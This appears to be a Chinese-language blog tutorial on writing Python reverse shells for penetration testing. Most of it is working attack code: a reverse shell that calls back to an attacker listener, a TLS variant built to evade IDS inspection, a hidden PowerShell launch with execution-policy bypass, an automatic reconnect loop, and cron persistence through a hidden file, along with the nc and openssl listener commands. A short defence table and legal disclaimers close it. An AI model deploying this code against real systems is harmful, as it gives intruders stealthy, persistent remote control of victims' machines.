正向 Shell:攻方主动连接受害主机并获得交互式命令行。大多受防火墙阻拦。
反向/反弹 Shell:受害主机(被控端)主动 拨出 ,连接到攻方监听的端口,绕过内网出口防火墙。
通信流程
LHOST:LPORT
。角色 | 系统 | 工具 |
---|---|---|
攻方 | Kali Linux / Parrot OS | nc / rlwrap nc (可选) |
受害 | 任意装有 Python 3 的 Linux/Windows/macOS | Python 代码 |
Tip:若目标仅内置 Python 2,可用
socket
+os
+pty
写兼容代码,思路完全一致。
#!/usr/bin/env python3
import socket, subprocess, os, sys
def reverse_shell(lhost, lport):
s = socket.socket()
try:
s.connect((lhost, lport))
except Exception as e:
sys.exit(0) # 连接失败静默退出
for fd in (0, 1, 2): # 重定向 stdin/stdout/stderr
os.dup2(s.fileno(), fd)
subprocess.call(["/bin/bash", "-i"])
if __name__ == "__main__":
reverse_shell("10.10.14.23", 4444)
攻方端:
nc -lvnp 4444
socket.socket()
—— 默认 AF_INET
+ SOCK_STREAM
创建 TCP 套接字。connect()
—— 主动向监听端发起三次握手。os.dup2()
—— 将进程文件描述符 0/1/2 指向套接字,实现数据流重定向。subprocess.call(["/bin/bash","-i"])
—— 启动交互式 bash;若在 busybox 系统可替换为 /bin/sh
。避免明文流量被 IDS/IPS 抓包:
import socket, ssl, subprocess, os
def reverse_shell_tls(lhost, lport):
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE # 靶场演练可关闭校验
raw_sock = socket.create_connection((lhost, lport))
s = ctx.wrap_socket(raw_sock, server_hostname=lhost)
for fd in (0,1,2):
os.dup2(s.fileno(), fd)
subprocess.call(["/bin/bash","-i"])
攻方端可用 OpenSSL:
openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 1
openssl s_server -quiet -key key.pem -cert cert.pem -port 4433
Windows 缺少 /bin/bash
,可改用 PowerShell:
import subprocess
subprocess.call(["powershell.exe","-NoP","-NonI","-W","Hidden","-Exec","Bypass"])
macOS 使用 /bin/zsh
或 /bin/sh
即可。
简易重连逻辑(带随机休眠):
import time, random
while True:
try:
reverse_shell("10.10.14.23", 4444)
except:
time.sleep(random.randint(5,15))
持久化示例(Linux cron):
(crontab -l 2>/dev/null; echo "@reboot python3 /tmp/.rs.py &") | crontab -
层面 | 措施 |
---|---|
网络 | IDPS 规则:阻断向非常规端口的出站流量;检测 HTTP(s) 流量中的可疑 TLS 指纹与 SNI。 |
主机 | 基线加固:关闭无用解释器,SELinux/AppArmor 限制 dup2 ;开启命令审计。 |
日志 | 集中式日志与异常行为(子进程/反弹连接)告警。 |
IOC | 可疑计划任务、开机项、未知二进制的持久化痕迹。 |
本文展示了如何在授权环境下用 Python 快速实现并扩展反弹 Shell。再次提醒:渗透测试务必遵循 PTES、ISO / IEC 27001 等合规流程,提前获取 书面 授权。
如果你想进一步集成 文件下载上传、端口转发、SOCKS 代理 或写成 C2 框架模块,欢迎在评论区交流。
Happy Hacking — with permission.
强烈提醒: 本文所有内容仅供 红队演练、CTF、正规渗透测试或信息安全教学 之用。 严禁 将文中技术用于任何未获授权的系统,否则可能触犯《刑法》第 285 条 “非法侵入计算机信息系统罪” 及相关法规。